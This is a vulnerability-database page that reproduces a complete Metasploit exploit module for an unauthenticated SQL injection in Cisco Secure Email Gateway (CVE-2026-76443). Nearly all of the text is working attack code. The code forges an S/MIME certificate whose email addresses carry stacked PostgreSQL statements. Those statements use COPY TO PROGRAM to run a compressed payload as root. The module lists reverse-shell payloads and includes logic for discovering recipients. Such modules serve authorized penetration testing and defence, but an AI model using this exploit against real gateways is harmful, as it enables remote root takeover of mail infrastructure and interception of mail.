Cisco Secure Email Gateway S/MIME SQL Injection RCE
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| Cisco Secure Email and Web Manager Code Execution | 23 Sep 202600:00 | – | bdu_fstec | |
| CVE-2026-76443 | 14 Sep 202617:50 | – | circl | |
| Cisco Secure Email Gateway and Secure Email and Web Manager Security Hardening Release: September 2026 | 14 Sep 202616:00 | – | cisco | |
| CVE-2026-76443 | 14 Sep 202616:08 | – | cve | |
| CVE-2026-76443 Cisco Secure Email Gateway Security Hardening Release | 14 Sep 202616:08 | – | cvelist | |
| EUVD-2026-77623 | 14 Sep 202616:08 | – | euvd | |
| CVE-2026-76443 | 14 Sep 202617:17 | – | nvd | |
| PT-2026-91269 | 14 Sep 202600:00 | – | ptsecurity | |
| CVE-2026-76443: Improper Neutralization | 14 Sep 202600:00 | – | rapid7 | |
| CVE-2026-76443 Cisco Secure Email Gateway Security Hardening Release | 14 Sep 202616:08 | – | vulnrichment |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'base64'
require 'openssl'
require 'zlib'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::SMTPDeliver
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cisco Secure Email Gateway S/MIME SQL Injection RCE',
'Description' => %q{
This module exploits an unauthenticated SQL injection in Cisco Secure
Email Gateway S/MIME certificate harvesting. A sender-controlled email
address in a signing certificate is used in a PostgreSQL query without
escaping. The module sends one signed email whose certificate supplies
enough addresses to flush the asynchronous database writer, stacks COPY
TO PROGRAM, and runs a payload as root through AsyncOS runas and Python.
The check identifies the product through Cisco SEG's hidden SMTP
queue-status command. AsyncOS does not expose a version through a
benign SMTP command, so the check can only identify the product but not
if it is explicitly vulnerable. Public-key harvesting must be enabled on
the inbound mail flow policy for the target to be exploitable.
The Cisco advisory is vague so attributing this vulnerability to a specific CVE is
not obvious, but this appears to be CVE-2026-76443 rather than CVE-2026-76461
based on the IOCs available for CVE-2026-76461.
},
'Author' => [ 'sfewer-r7' ], # Metasploit module
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2026-76443' ],
[ 'URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hardening-esa-dfCrfXkm' ]
],
'DisclosureDate' => '2026-09-14',
'Privileged' => true,
'Payload' => {
'Space' => 600,
'DisableNops' => true,
# The payload is compressed and changed to lowercase hexadecimal before it enters the
# certificate. Quotes, SQL punctuation, newlines, and backslashes are therefore safe.
# NUL is invalid in both decoded payload forms. Bytes at or above 0x80 cannot be converted
# reliably from Python bytes to command-line text across both module targets.
'BadChars' => "\x00" + (0x80..0xff).to_a.pack('C*')
},
'Targets' => [
# Tested with the following payloads:
# * python/meterpreter/reverse_tcp
# * python/shell_reverse_tcp
[ 'Python Payload', { 'Platform' => 'python', 'Arch' => ARCH_PYTHON } ],
# Tested with the following payloads:
# * cmd/unix/reverse
# * cmd/unix/reverse_openssl
# Note that common shells/tools like bash and netcat are not available, but sh, telnet and openssl are.
[ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD } ]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
# Certificate harvesting is asynchronous and can take time after SMTP accepts the email.
'WfsDelay' => 120
},
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS ]
}
)
)
register_options([
OptString.new('MAILFROM', [ false, 'Email sender address', '' ]),
OptString.new('MAILTO', [ false, 'Email recipient address accepted by the gateway', '' ]),
OptString.new('SUBJECT', [ false, 'Email subject', '' ])
])
end
def check
connect
# EUQ_FULL is an undocumented, AsyncOS SMTP command.
response = smtp_send_recv("EUQ_FULL\r\n").to_s
# This proves the target is running AsyncOS, but it may be either Cisco Secure Email Gateway or Cisco Secure Web
# Appliance. It cannot distinguish a vulnerable release from a fixed release.
# We could also try the HTTPS service, as that reports teh product type and version, but then we assume
# access to that interface/port which may not be true.
return CheckCode::Detected('Detected an SMTP service on AsyncOS. Target is likely a Cisco Secure Email Gateway.') if response.match?(/\A(?:250 EUQ not full|491 #4\.9\.1 EUQ database full)\r\n\z/)
CheckCode::Unknown('Detected an SMTP service, but the target does not appear to be a Cisco Secure Email Gateway')
rescue Rex::ConnectionError, Rex::TimeoutError, Msf::Exploit::Remote::SMTPDeliver::SMTPCommunicationError, EOFError => e
CheckCode::Unknown(e.message)
ensure
disconnect if connected?
end
def exploit
# Each run needs new addresses so cached certificates cannot bypass the vulnerable database lookup.
nonce = Rex::Text.rand_text_hex(16).downcase
program = payload_program
# Discover an address the gateway accepts instead of assuming its configured mail domain.
recipient = discover_recipient(nonce)
domain = recipient.split('@', 2).last
# By default, use the discovered local domain instead of a hard-coded sender domain.
sender = datastore['MAILFROM'].blank? ? "#{nonce}@#{domain}" : datastore['MAILFROM']
# A random default subject avoids a fixed network indicator; SUBJECT remains available for tracing.
subject = datastore['SUBJECT'].blank? ? nonce : datastore['SUBJECT']
print_status('Generating the signed S/MIME exploit email')
email = build_message(program, nonce, domain, sender, recipient, subject)
# The database writer normally waits for a timer, but a full 500-record batch is handled at once.
print_status("Sending #{email.bytesize}-byte email with 500 certificate addresses")
response = deliver_message(email, 'MAILFROM' => sender, 'MAILTO' => recipient)
# SMTP success means the gateway queued the message; the vulnerable work runs asynchronously.
fail_with(Failure::Unknown, 'SMTP DATA was not accepted') unless response&.start_with?('250')
print_good('Exploit email accepted')
end
private
def discover_recipient(nonce)
# Prefer an operator-supplied mailbox when one is known to be valid.
candidates = [ datastore['MAILTO'] ].compact.reject(&:blank?)
if candidates.empty?
connect
# SMTP banners normally contain the gateway hostname, not a mailbox address.
hostname = banner.to_s[/\A220\s+([^\s]+)/, 1].to_s.downcase
labels = hostname.split('.')
# Try the hostname and its parent domains, but never send message data during these probes.
candidates = labels.each_index.filter_map { |index| labels[index..].join('.') if labels.length - index >= 2 }
end
candidates.each do |address_or_domain|
address = address_or_domain.include?('@') ? address_or_domain : "#{nonce}@#{address_or_domain}"
next unless address.match?(/\A[^\s<>@]+@[a-z0-9.-]+\z/i)
vprint_status("Trying recipient address: #{address}")
return address if recipient_accepted?(address, nonce)
end
fail_with(Failure::BadConfig, 'Could not discover an accepted recipient domain; set MAILTO')
ensure
disconnect if connected?
end
def deliver_message(message, envelope)
# SMTPDeliver reads MAILFROM and MAILTO from the shared datastore.
original = envelope.keys.to_h { |key| [ key, datastore[key] ] }
# Use values derived for this one message, then restore the operator's settings in ensure.
envelope.each { |key, value| datastore[key] = value }
send_message(message)
ensure
original&.each { |key, value| datastore[key] = value }
end
def recipient_accepted?(address, nonce)
connect unless connected?
# HELO establishes a normal SMTP session before testing an envelope.
return false unless smtp_send_recv("HELO #{nonce}\r\n").to_s.start_with?('250')
domain = address.split('@', 2).last
# Recipient policy can depend on the envelope sender, so probe with the same normalized sender
# that SMTPDeliver uses for the final message.
sender = datastore['MAILFROM'].blank? ? "#{nonce}@#{domain}" : datastore['MAILFROM'].strip
return false if bad_address(sender)
return false unless smtp_send_recv("MAIL FROM: <#{sender}>\r\n").to_s.start_with?('250')
# SMTPDeliver proceeds only after code 250, so discovery must use the same requirement.
accepted = smtp_send_recv("RCPT TO: <#{address}>\r\n").to_s.start_with?('250')
# RSET discards the test envelope so discovery never queues an email.
smtp_send_recv("RSET\r\n")
accepted
end
def payload_program
# Compression keeps large Python payloads within the harvested address size limit. Lowercase
# hexadecimal protects every payload byte from AsyncOS changing certificate addresses to lowercase.
packed_payload = Zlib::Deflate.deflate(payload.encoded).unpack1('H*')
decoder = %(zlib.decompress(binascii.unhexlify("#{packed_payload}")))
python_loader = if target['Arch'] == ARCH_PYTHON
# A Python payload is already source code, so execute its decoded bytes directly.
"import binascii,zlib;exec(#{decoder})"
else
# A Unix payload is a command string. Pass it as a single argument to a fresh shell
# instead of interpolating it into another shell command where quoting could alter it.
%(import binascii,os,zlib;os.execl("/bin/sh","sh","-c",#{decoder}.decode()))
end
# Public-key harvesting runs under a database account. AsyncOS runas executes the loader as root,
# while the built-in Python3 runtime decodes the payload without requiring an added staging utility.
"/data/bin/runas root /usr/local/bin/python3 -c '#{python_loader}'"
end
def build_message(program, nonce, domain, sender, recipient, subject)
# The temporary CA and leaf certificate exist only to create a signed S/MIME message.
ca_key = OpenSSL::PKey::RSA.new(2048)
leaf_key = OpenSSL::PKey::RSA.new(2048)
ca_name = OpenSSL::X509::Name.parse("/CN=#{nonce}-ca")
# The two certificates use distinct serials; their random keys make every pair unique.
ca = certificate(ca_name, ca_name, ca_key.public_key, 1)
# This marks the certificate as an authority while preventing it from issuing another CA.
ca.add_extension(OpenSSL::X509::ExtensionFactory.new.create_extension('basicConstraints', 'CA:TRUE,pathlen:0', true))
# A CA certificate is self-signed with its own private key.
ca.sign(ca_key, OpenSSL::Digest.new('SHA256'))
# AsyncOS ignores self-signed certificates while harvesting, so the vulnerable identities
# belong to a separate leaf certificate issued by the temporary CA.
leaf_name = OpenSSL::X509::Name.parse("/CN=#{nonce}")
leaf = certificate(leaf_name, ca_name, leaf_key.public_key, 2)
# The signer is an end certificate, not another certificate authority.
leaf.add_extension(OpenSSL::X509::ExtensionFactory.new.create_extension('basicConstraints', 'CA:FALSE', true))
# These usages permit signing email and transporting an encryption key.
leaf.add_extension(OpenSSL::X509::ExtensionFactory.new.create_extension('keyUsage', 'digitalSignature,keyEncipherment', true))
# The sender-controlled rfc822Name values reach the vulnerable SQL lookup.
leaf.add_extension(subject_alternative_names(program, nonce, domain))
# emailProtection labels this leaf as an S/MIME certificate.
leaf.add_extension(OpenSSL::X509::ExtensionFactory.new.create_extension('extendedKeyUsage', 'emailProtection', false))
# Sign the leaf with the temporary CA key so the included certificate chain is internally consistent.
leaf.sign(ca_key, OpenSSL::Digest.new('SHA256'))
# The message body itself is harmless; the embedded certificate carries the SQL text.
content = "Content-Type: text/plain; charset=us-ascii\r\nContent-Transfer-Encoding: 7bit\r\n\r\n#{nonce}\r\n"
# Include the untrusted CA with the signer so AsyncOS can extract both certificates. Trust is
# not required because public-key harvesting occurs before certificate verification.
signed = OpenSSL::PKCS7.sign(leaf, leaf_key, content, [ ca ], OpenSSL::PKCS7::BINARY).to_der
# S/MIME transports the binary PKCS#7 signed object as MIME base64 with conventional 76-byte lines.
encoded = Base64.strict_encode64(signed).scan(/.{1,76}/).join("\r\n")
message = Rex::MIME::Message.new
message.mime_defaults
message.from = "<#{sender}>"
message.to = "<#{recipient}>"
message.subject = subject
# This MIME type directs AsyncOS to its S/MIME signed-message parser. Keep the PKCS#7 signed object
# as the top-level body; add_part() would introduce a multipart wrapper and change the tested path.
message.header.set('Content-Type', "application/pkcs7-mime; smime-type=signed-data; name=#{nonce}.p7m")
message.header.set('Content-Transfer-Encoding', 'base64')
message.content = encoded
message.to_s
end
def certificate(subject, issuer, public_key, serial)
cert = OpenSSL::X509::Certificate.new
# X.509 version 3 is required for the certificate extensions used below. Note that Ruby is using zero-based indexes
# here so 2 below is X.509 v3.
cert.version = 2
cert.serial = serial
cert.subject = subject
cert.issuer = issuer
cert.public_key = public_key
# Backdating tolerates clock skew, while one day is long enough for asynchronous processing.
cert.not_before = Time.now - 300
cert.not_after = Time.now + 86_400
cert
end
def subject_alternative_names(program, nonce, domain)
# AsyncOS harvests every certificate email address and passes it as rcpt_data to the vulnerable
# get_rcpt_record_two_columns_query(), which builds:
# SELECT public_key, last_updated FROM harvested_pubkeys WHERE rcpt_data='<address>'
# The address below is valid as an email with a double-quoted local part. That opening double
# quote is just data inside PostgreSQL's single-quoted value. The apostrophe after the nonce ends
# that value early, and PostgreSQL accepts the semicolon-separated text that follows as two more
# statements. COPY (SELECT '') TO PROGRAM launches program as the PostgreSQL server account and
# gives it a harmless line on standard input. The final zero-row SELECT supplies the column names
# expected by getallrowdicts(). Then -- comments out the closing double quote, @domain, and
# apostrophe that AsyncOS appends. Doubling apostrophes here quotes only the command inside
# PROGRAM's SQL value; it does not repair the unsafe address lookup.
sqli_identity = %("#{nonce}';copy(select'')to program'#{program.gsub("'", "''")}';select null::text as public_key,0::double precision as last_updated where false;-- "@#{domain})
# write_to_harvest_db() lowercases and queues every unique rfc822Name returned by get_email().
# The fresh nonce therefore makes all 500 identities distinct cache keys in this one writer batch,
# even though they belong to the same leaf certificate.
identities = [ sqli_identity ]
# The S/MIME writer starts work immediately at WRITER_SYNC_BUFFER_LIMIT (500); a smaller batch can
# wait for its periodic flush. Each filler stacks only the same zero-row SELECT, so it raises the
# queue length without launching more programs. Because the final result has no row, harvest_check()
# also skips the later certificate INSERT for both the first and filler identities.
# We need 500 identities to hit the WRITER_SYNC_BUFFER_LIMIT and force the SQLi to occur, otherwise we would have to
# wait for this buffer to flush (can take 3+ minutes), with 500 identities we should get the SQLi in ~10 seconds.
499.times do |index|
identities << %("#{nonce}-#{index}';select null::text as public_key,0::double precision as last_updated where false;-- "@#{domain})
end
# In X.509, GeneralName context-specific tag 1 means rfc822Name (an email address). Constructing
# the extension as DER preserves the SQL punctuation until the appliance reads the certificate.
general_names = OpenSSL::ASN1::Sequence.new(identities.map { |address| OpenSSL::ASN1::IA5String.new(address, 1, :CONTEXT_SPECIFIC) })
OpenSSL::X509::Extension.new('subjectAltName', general_names.to_der, false)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
14 Sep 2026 00:00Current
8.5High risk
Vulners AI Score8.5
CVSS 3.19.8
EPSS0.02354
SSVC